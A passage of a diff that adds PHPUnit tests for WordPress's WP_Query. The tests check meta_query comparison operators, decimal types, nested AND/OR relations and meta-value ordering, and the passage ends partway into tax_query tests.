+					'compare' => 'NOT EXISTS',
+					'value' => 'bar',
+					'key' => 'foo',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $posts[1] ), $query->posts );
+	}
+
+	/**
+	 * @ticket 18158
+	 * @group meta
+	 */
+	public function test_meta_query_compare_not_exists() {
+		$post_id = $this->factory->post->create();
+		add_post_meta( $post_id, 'foo', rand_str() );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'bar', rand_str() );
+		$post_id3 = $this->factory->post->create();
+		add_post_meta( $post_id3, 'bar', rand_str() );
+		$post_id4 = $this->factory->post->create();
+		add_post_meta( $post_id4, 'baz', rand_str() );
+		$post_id5 = $this->factory->post->create();
+		add_post_meta( $post_id5, 'foo', rand_str() );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'compare' => 'NOT EXISTS',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $post_id2, $post_id3, $post_id4 );
+		$this->assertEqualSets( $expected, $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'compare' => 'NOT EXISTS',
+				),
+				array(
+					'key' => 'bar',
+					'compare' => 'NOT EXISTS',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $post_id4 );
+		$this->assertEquals( $expected, $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'compare' => 'NOT EXISTS',
+				),
+				array(
+					'key' => 'bar',
+					'compare' => 'NOT EXISTS',
+				),
+				array(
+					'key' => 'baz',
+					'compare' => 'NOT EXISTS',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( 0, count( $query->posts ) );
+	}
+
+	/**
+	 * @ticket 29062
+	 */
+	public function test_meta_query_compare_not_exists_with_another_condition_relation_or() {
+		$posts = $this->factory->post->create_many( 4 );
+		update_post_meta( $posts[0], 'color', 'orange' );
+		update_post_meta( $posts[1], 'color', 'blue' );
+		update_post_meta( $posts[1], 'vegetable', 'onion' );
+		update_post_meta( $posts[2], 'vegetable', 'shallot' );
+
+		$post_3_meta = get_post_meta( $posts[3] );
+		foreach ( $post_3_meta as $meta_key => $meta_value ) {
+			delete_post_meta( $posts[3], $meta_key );
+		}
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+				),
+				array(
+					'key' => 'color',
+					'compare' => 'NOT EXISTS',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[1], $posts[2], $posts[3] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_or_compare_equals() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+					'compare' => '=',
+				),
+				array(
+					'key' => 'vegetable',
+					'value' => 'shallot',
+					'compare' => '=',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[1], $posts[2] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_or_compare_equals_different_keys() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+					'compare' => '=',
+				),
+				array(
+					'key' => 'color',
+					'value' => 'orange',
+					'compare' => '=',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[0], $posts[1] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_or_compare_equals_and_in() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+					'compare' => '=',
+				),
+				array(
+					'key' => 'color',
+					'value' => array( 'orange', 'green' ),
+					'compare' => 'IN',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[0], $posts[1] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_or_compare_equals_and_like() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+					'compare' => '=',
+				),
+				array(
+					'key' => 'vegetable',
+					'value' => 'hall',
+					'compare' => 'LIKE',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[1], $posts[2] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_or_compare_equals_and_between() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'number_of_colors', '2' );
+		add_post_meta( $posts[1], 'number_of_colors', '5' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'vegetable',
+					'value' => 'shallot',
+					'compare' => '=',
+				),
+				array(
+					'key' => 'number_of_colors',
+					'value' => array( 1, 3 ),
+					'compare' => 'BETWEEN',
+					'type' => 'SIGNED',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[0], $posts[2] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_and_compare_in_same_keys() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+		add_post_meta( $posts[3], 'vegetable', 'banana' );
+		add_post_meta( $posts[3], 'vegetable', 'onion' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'AND',
+				array(
+					'key' => 'vegetable',
+					'value' => array( 'onion', 'shallot' ),
+					'compare' => 'IN',
+				),
+				array(
+					'key' => 'vegetable',
+					'value' => array( 'banana' ),
+					'compare' => 'IN',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[3] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_and_compare_in_different_keys() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[1], 'vegetable', 'shallot' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+		add_post_meta( $posts[3], 'vegetable', 'banana' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'AND',
+				array(
+					'key' => 'vegetable',
+					'value' => array( 'onion', 'shallot' ),
+					'compare' => 'IN',
+				),
+				array(
+					'key' => 'color',
+					'value' => array( 'blue' ),
+					'compare' => 'IN',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[1] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_and_compare_not_equals() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+		add_post_meta( $posts[3], 'vegetable', 'banana' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'AND',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+					'compare' => '!=',
+				),
+				array(
+					'key' => 'vegetable',
+					'value' => 'shallot',
+					'compare' => '!=',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[3] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_and_compare_not_equals_different_keys() {
+		$posts = $this->factory->post->create_many( 4 );
+
+		// !shallot, but orange.
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[0], 'vegetable', 'onion' );
+
+		// !orange, but shallot.
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'shallot' );
+
+		// Neither.
+		add_post_meta( $posts[2], 'color', 'blue' );
+		add_post_meta( $posts[2], 'vegetable', 'onion' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'AND',
+				array(
+					'key' => 'vegetable',
+					'value' => 'shallot',
+					'compare' => '!=',
+				),
+				array(
+					'key' => 'color',
+					'value' => 'orange',
+					'compare' => '!=',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[2] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_and_compare_not_equals_not_in() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+		add_post_meta( $posts[3], 'vegetable', 'banana' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'AND',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+					'compare' => '!=',
+				),
+				array(
+					'key' => 'vegetable',
+					'value' => array( 'shallot' ),
+					'compare' => 'NOT IN',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[3] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 24093
+	 */
+	public function test_meta_query_relation_and_compare_not_equals_and_not_like() {
+		$posts = $this->factory->post->create_many( 4 );
+		add_post_meta( $posts[0], 'color', 'orange' );
+		add_post_meta( $posts[1], 'color', 'blue' );
+		add_post_meta( $posts[1], 'vegetable', 'onion' );
+		add_post_meta( $posts[2], 'vegetable', 'shallot' );
+		add_post_meta( $posts[3], 'vegetable', 'banana' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				'relation' => 'AND',
+				array(
+					'key' => 'vegetable',
+					'value' => 'onion',
+					'compare' => '!=',
+				),
+				array(
+					'key' => 'vegetable',
+					'value' => 'hall',
+					'compare' => 'NOT LIKE',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$expected = array( $posts[3] );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 23033
+	 * @group meta
+	 */
+	public function test_meta_query_decimal_results() {
+		$post_1 = $this->factory->post->create();
+		$post_2 = $this->factory->post->create();
+		$post_3 = $this->factory->post->create();
+		$post_4 = $this->factory->post->create();
+
+		update_post_meta( $post_1, 'decimal_value', '-0.3' );
+		update_post_meta( $post_2, 'decimal_value', '0.23409844' );
+		update_post_meta( $post_3, 'decimal_value', '0.3' );
+		update_post_meta( $post_4, 'decimal_value', '0.4' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => '.300',
+					'compare' => '=',
+					'type' => 'DECIMAL(10,2)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_3 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => '0.35',
+					'compare' => '>',
+					'type' => 'DECIMAL(10,2)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_4 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => '0.3',
+					'compare' => '>=',
+					'type' => 'DECIMAL(10,2)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_3, $post_4 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => '0',
+					'compare' => '<',
+					'type' => 'DECIMAL(10,2)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_1 ), $query->posts, 'ID' );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => '0.3',
+					'compare' => '<=',
+					'type' => 'DECIMAL(10,2)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_1, $post_2, $post_3 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => array( 0.23409845, .31 ),
+					'compare' => 'BETWEEN',
+					'type' => 'DECIMAL(10, 10)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_3 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => array( 0.23409845, .31 ),
+					'compare' => 'NOT BETWEEN',
+					'type' => 'DECIMAL(10,10)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_1, $post_2, $post_4 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => '.3',
+					'compare' => 'LIKE',
+					'type' => 'DECIMAL(10,2)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_1, $post_3 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'meta_query' => array(
+				array(
+					'key' => 'decimal_value',
+					'value' => '.3',
+					'compare' => 'NOT LIKE',
+					'type' => 'DECIMAL(10,2)'
+				)
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_2, $post_4 ), $query->posts );
+
+		$query = new WP_Query( array(
+			'orderby' => 'meta_value',
+			'order' => 'DESC',
+			'meta_key' => 'decimal_value',
+			'meta_type' => 'DECIMAL(10, 2)',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+		$this->assertEqualSets( array( $post_4, $post_3, $post_2, $post_1 ), $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 * @ticket 29604
+	 */
+	public function test_meta_query_with_orderby_meta_value_relation_or() {
+		$posts = $this->factory->post->create_many( 4 );
+		update_post_meta( $posts[0], 'foo', 5 );
+		update_post_meta( $posts[1], 'foo', 6 );
+		update_post_meta( $posts[2], 'foo', 4 );
+		update_post_meta( $posts[3], 'foo', 7 );
+
+		update_post_meta( $posts[0], 'bar1', 'baz' );
+		update_post_meta( $posts[1], 'bar1', 'baz' );
+		update_post_meta( $posts[2], 'bar2', 'baz' );
+
+		$query = new WP_Query( array(
+			'orderby' => 'meta_value',
+			'order' => 'ASC',
+			'meta_key' => 'foo',
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'bar1',
+					'value' => 'baz',
+					'compare' => '=',
+				),
+				array(
+					'key' => 'bar2',
+					'value' => 'baz',
+					'compare' => '=',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $posts[2], $posts[0], $posts[1] ), $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 * @ticket 29604
+	 */
+	public function test_meta_query_with_orderby_meta_value_relation_and() {
+		$posts = $this->factory->post->create_many( 4 );
+		update_post_meta( $posts[0], 'foo', 5 );
+		update_post_meta( $posts[1], 'foo', 6 );
+		update_post_meta( $posts[2], 'foo', 4 );
+		update_post_meta( $posts[3], 'foo', 7 );
+
+		update_post_meta( $posts[0], 'bar1', 'baz' );
+		update_post_meta( $posts[1], 'bar1', 'baz' );
+		update_post_meta( $posts[2], 'bar1', 'baz' );
+		update_post_meta( $posts[3], 'bar1', 'baz' );
+		update_post_meta( $posts[0], 'bar2', 'baz' );
+		update_post_meta( $posts[1], 'bar2', 'baz' );
+		update_post_meta( $posts[2], 'bar2', 'baz' );
+
+		$query = new WP_Query( array(
+			'orderby' => 'meta_value',
+			'order' => 'ASC',
+			'meta_key' => 'foo',
+			'meta_query' => array(
+				'relation' => 'AND',
+				array(
+					'key' => 'bar1',
+					'value' => 'baz',
+					'compare' => '=',
+				),
+				array(
+					'key' => 'bar2',
+					'value' => 'baz',
+					'compare' => '=',
+				),
+			),
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $posts[2], $posts[0], $posts[1] ), $query->posts );
+	}
+
+	/**
+	 * @ticket 29642
+	 * @group meta
+	 */
+	public function test_meta_query_nested() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p2, 'foo2', 'bar' );
+		add_post_meta( $p3, 'foo2', 'bar' );
+		add_post_meta( $p3, 'foo3', 'bar' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_term_meta_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'relation' => 'AND',
+					array(
+						'key' => 'foo2',
+						'value' => 'bar',
+					),
+					array(
+						'key' => 'foo3',
+						'value' => 'bar',
+					),
+				),
+			),
+		) );
+
+		$expected = array( $p1, $p3 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @ticket 29642
+	 * @group meta
+	 */
+	public function test_meta_query_nested_two_levels_deep() {
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		add_post_meta( $p1, 'foo', 'bar' );
+		add_post_meta( $p3, 'foo2', 'bar' );
+		add_post_meta( $p3, 'foo3', 'bar' );
+		add_post_meta( $p3, 'foo4', 'bar' );
+
+		$query = new WP_Query( array(
+			'update_post_meta_cache' => false,
+			'update_term_meta_cache' => false,
+			'fields' => 'ids',
+			'meta_query' => array(
+				'relation' => 'OR',
+				array(
+					'key' => 'foo',
+					'value' => 'bar',
+				),
+				array(
+					'relation' => 'OR',
+					array(
+						'key' => 'foo2',
+						'value' => 'bar',
+					),
+					array(
+						'relation' => 'AND',
+						array(
+							'key' => 'foo3',
+							'value' => 'bar',
+						),
+						array(
+							'key' => 'foo4',
+							'value' => 'bar',
+						),
+					),
+				),
+			),
+		) );
+
+		$expected = array( $p1, $p3 );
+		$this->assertEqualSets( $expected, $query->posts );
+	}
+
+	/**
+	 * @group meta
+	 */
+	function test_meta_between_not_between() {
+		$post_id = $this->factory->post->create();
+		add_post_meta( $post_id, 'time', 500 );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'time', 1001 );
+		$post_id3 = $this->factory->post->create();
+		add_post_meta( $post_id3, 'time', 0 );
+		$post_id4 = $this->factory->post->create();
+		add_post_meta( $post_id4, 'time', 1 );
+		$post_id5 = $this->factory->post->create();
+		add_post_meta( $post_id5, 'time', 1000 );
+
+		$args = array(
+			'meta_key' => 'time',
+			'meta_value' => array( 1, 1000 ),
+			'meta_type' => 'numeric',
+			'meta_compare' => 'NOT BETWEEN'
+			);
+
+		$query = new WP_Query( $args );
+		$this->assertEquals( 2, count ( $query->posts ) );
+		foreach ( $query->posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $query->posts, 'ID' );
+		$this->assertEqualSets( array( $post_id2, $post_id3 ), $posts );
+
+		$args = array(
+			'meta_key' => 'time',
+			'meta_value' => array( 1, 1000 ),
+			'meta_type' => 'numeric',
+			'meta_compare' => 'BETWEEN'
+			);
+
+		$query = new WP_Query( $args );
+		$this->assertEquals( 3, count ( $query->posts ) );
+		foreach ( $query->posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $query->posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id4, $post_id5 ), $posts );
+	}
+
+	/**
+	 * @ticket 16829
+	 * @group meta
+	 */
+	function test_meta_default_compare() {
+		// compare should default to IN when meta_value is an array
+		$post_id = $this->factory->post->create();
+		add_post_meta( $post_id, 'foo', 'bar' );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'bar', 'baz' );
+		$post_id3 = $this->factory->post->create();
+		add_post_meta( $post_id3, 'foo', 'baz' );
+		$post_id4 = $this->factory->post->create();
+		add_post_meta( $post_id4, 'baz', 'bar' );
+		$post_id5 = $this->factory->post->create();
+		add_post_meta( $post_id5, 'foo', rand_str() );
+
+		$posts = get_posts( array(
+			'meta_key' => 'foo',
+			'meta_value' => array( 'bar', 'baz' )
+		) );
+
+		$this->assertEquals( 2, count( $posts ) );
+		$posts = wp_list_pluck( $posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id3 ), $posts );
+
+		$posts = get_posts( array(
+			'meta_key' => 'foo',
+			'meta_value' => array( 'bar', 'baz' ),
+			'meta_compare' => 'IN'
+		) );
+
+		$this->assertEquals( 2, count( $posts ) );
+		foreach ( $posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id3 ), $posts );
+	}
+
+	/**
+	 * @ticket 17264
+	 * @group meta
+	 */
+	function test_duplicate_posts_when_no_key() {
+		$post_id = $this->factory->post->create();
+		add_post_meta( $post_id, 'city', 'Lorem' );
+		add_post_meta( $post_id, 'address', '123 Lorem St.' );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'city', 'Lorem' );
+		$post_id3 = $this->factory->post->create();
+		add_post_meta( $post_id3, 'city', 'Loren' );
+
+		$args = array(
+			'meta_query' => array(
+			array(
+				'value' => 'lorem',
+				'compare' => 'LIKE'
+			)
+			)
+		);
+
+		$posts = get_posts( $args );
+		$this->assertEquals( 2, count( $posts ) );
+		foreach ( $posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id2 ), $posts );
+	}
+
+	/**
+	 * @ticket 15292
+	 * @group meta
+	 */
+	function test_empty_meta_value() {
+		$post_id = $this->factory->post->create();
+		add_post_meta( $post_id, 'foo', '0' );
+		add_post_meta( $post_id, 'bar', 0 );
+		$post_id2 = $this->factory->post->create();
+		add_post_meta( $post_id2, 'foo', 1 );
+		$post_id3 = $this->factory->post->create();
+		add_post_meta( $post_id3, 'baz', 0 );
+		$post_id4 = $this->factory->post->create();
+		add_post_meta( $post_id4, 'baz', 0 );
+		$post_id5 = $this->factory->post->create();
+		add_post_meta( $post_id5, 'baz', 0 );
+		add_post_meta( $post_id5, 'bar', '0' );
+		$post_id6 = $this->factory->post->create();
+		add_post_meta( $post_id6, 'baz', 0 );
+
+		$q = new WP_Query( array( 'meta_key' => 'foo', 'meta_value' => '0' ) );
+		$this->assertEquals( 1, count ( $q->posts ) );
+		foreach ( $q->posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$this->assertEquals( $post_id, $q->posts[0]->ID );
+
+		$posts = get_posts( array( 'meta_key' => 'bar', 'meta_value' => '0' ) );
+		$this->assertEquals( 2, count ( $posts ) );
+		foreach ( $posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id5 ), $posts );
+
+		$posts = get_posts( array( 'meta_key' => 'bar', 'meta_value' => 0 ) );
+		$this->assertEquals( 2, count ( $posts ) );
+		foreach ( $posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id5 ), $posts );
+
+		$posts = get_posts( array( 'meta_value' => 0 ) );
+		$this->assertEquals( 5, count ( $posts ) );
+		foreach ( $posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id3, $post_id4, $post_id5, $post_id6 ), $posts );
+
+		$posts = get_posts( array( 'meta_value' => '0' ) );
+		$this->assertEquals( 5, count ( $posts ) );
+		foreach ( $posts as $post ) {
+			$this->assertInstanceOf( 'WP_Post', $post );
+			$this->assertEquals( 'raw', $post->filter );
+		}
+		$posts = wp_list_pluck( $posts, 'ID' );
+		$this->assertEqualSets( array( $post_id, $post_id3, $post_id4, $post_id5, $post_id6 ), $posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_single_term_field_slug() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_single_term_field_name() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'Foo' ),
+					'field' => 'name',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_single_term_field_term_taxonomy_id() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
